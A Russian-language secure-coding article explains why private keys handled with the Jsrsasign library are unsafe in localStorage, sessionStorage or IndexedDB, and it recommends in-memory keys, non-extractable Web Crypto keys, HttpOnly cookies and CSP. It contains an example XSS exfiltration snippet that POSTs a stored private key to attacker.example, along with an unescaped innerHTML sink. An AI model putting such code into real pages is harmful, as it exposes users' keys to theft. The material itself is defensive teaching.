Браузерная среда изначально не предназначена для долговременного хранения секретных ключей. Любая попытка перенести туда модель безопасности серверного уровня неизбежно сталкивается с ограничениями: отсутствие полноценного защищённого хранилища, высокая поверхность атаки через JavaScript, зависимость от сторонних скриптов и возможность компрометации через XSS.
Библиотека Jsrsasign часто используется для работы с JWT, RSA, ECDSA и другими криптографическими примитивами непосредственно в клиентском коде. Она позволяет генерировать ключи, подписывать данные и проверять подписи без обращения к серверу. Однако именно в этом сценарии чаще всего возникает критическая ошибка архитектуры — попытка хранения приватных ключей в браузере.
Браузер выполняет код в среде, которая по определению не считается доверенной. Даже при использовании HTTPS и современных механизмов изоляции вкладок остаются базовые угрозы:
Любой секрет, попавший в JavaScript-окружение, перестаёт быть секретом в криптографическом смысле.
localStorage часто используется как первое решение для сохранения ключей или токенов. Причина — простота API и синхронный доступ.
Типичный сценарий:
localStorage.setItem("privateKey", pemKey);
const key = localStorage.getItem("privateKey");
Проблема заключается в том, что localStorage доступен любому скрипту, выполняющемуся в контексте домена. При наличии XSS-уязвимости злоумышленник получает ключ мгновенно:
fetch("https://attacker.example/steal", {
method: "POST",
body: localStorage.getItem("privateKey")
});
Ключи в localStorage сохраняются между сессиями, что увеличивает окно атаки.
sessionStorage ограничен временем жизни вкладки, что часто воспринимается как улучшение безопасности. Однако модель угроз не меняется:
Разница лишь в том, что данные исчезают после закрытия вкладки, но в течение активной сессии остаются полностью доступными.
IndexedDB предоставляет более сложное асинхронное хранилище и иногда ошибочно воспринимается как более защищённое.
const request = indexedDB.open("keysDB", 1);
Однако уровень безопасности не отличается принципиально:
IndexedDB может быть оправдан для кэширования публичных данных, но не для хранения приватных ключей.
Jsrsasign поддерживает генерацию RSA ключей прямо в браузере:
const kp = KEYUTIL.generateKeypair("RSA", 2048);
const privateKey = kp.prvKeyObj;
const publicKey = kp.pubKeyObj;
С точки зрения криптографии это корректная операция, однако проблема возникает на этапе хранения. Как только privateKey сериализуется и сохраняется, он попадает в небезопасную среду.
Сериализация часто выглядит так:
const pem = KEYUTIL.getPEM(privateKey, "PKCS1PRV");
Дальнейшее хранение PEM-строки в браузере полностью нивелирует смысл генерации ключа на клиенте.
XSS остаётся ключевой причиной утечки ключей в браузерных приложениях. Даже минимальная уязвимость в выводе данных может привести к выполнению произвольного кода:
document.body.innerHTML = userInput;
При отсутствии экранирования атакующий внедряет скрипт, который получает доступ ко всем ключам:
Криптографическая стойкость алгоритмов в таком случае не имеет значения.
Наиболее безопасная модель для браузера — хранение ключей только в оперативной памяти:
let privateKey = null;
function initKey() {
privateKey = KEYUTIL.generateKeypair("EC", "secp256r1").prvKeyObj;
}
После перезагрузки страницы ключ исчезает, что снижает риск долговременной компрометации. Однако остаётся риск утечки через runtime-атаки и отладочные инструменты.
Встроенный Web Crypto API предоставляет изолированную реализацию криптографических операций, где приватные ключи могут быть non-extractable:
crypto.subtle.generateKey(
{
name: "ECDSA",
namedCurve: "P-256"
},
false,
["sign", "verify"]
);
Параметр extractable: false делает невозможным
извлечение ключа в виде PEM или raw-данных, что существенно снижает риск
утечки.
В отличие от программных реализаций в JavaScript, ключи остаются внутри браузерного криптографического модуля.
При работе с аутентификационными токенами предпочтительнее использование HttpOnly cookies:
В отличие от хранения JWT в localStorage, такой подход исключает прямое чтение токена из скриптовой среды.
Content Security Policy снижает вероятность внедрения вредоносного кода:
Пример жёсткой политики:
Content-Security-Policy: default-src 'self'; script-src 'self'
CSP не устраняет проблему хранения ключей, но уменьшает вероятность компрометации.
На практике часто встречаются архитектурные ошибки:
Такие подходы создают иллюзию безопасности, не обеспечивая реальной защиты от компрометации.
Браузер следует рассматривать как недоверенную среду выполнения. Это означает:
Даже при использовании современных криптографических библиотек безопасность определяется не алгоритмами, а местом хранения секретов.
Корректная архитектура обычно выглядит следующим образом:
Такое разделение снижает риск утечек до уровня компрометации транспортного канала или логики приложения, а не памяти браузера.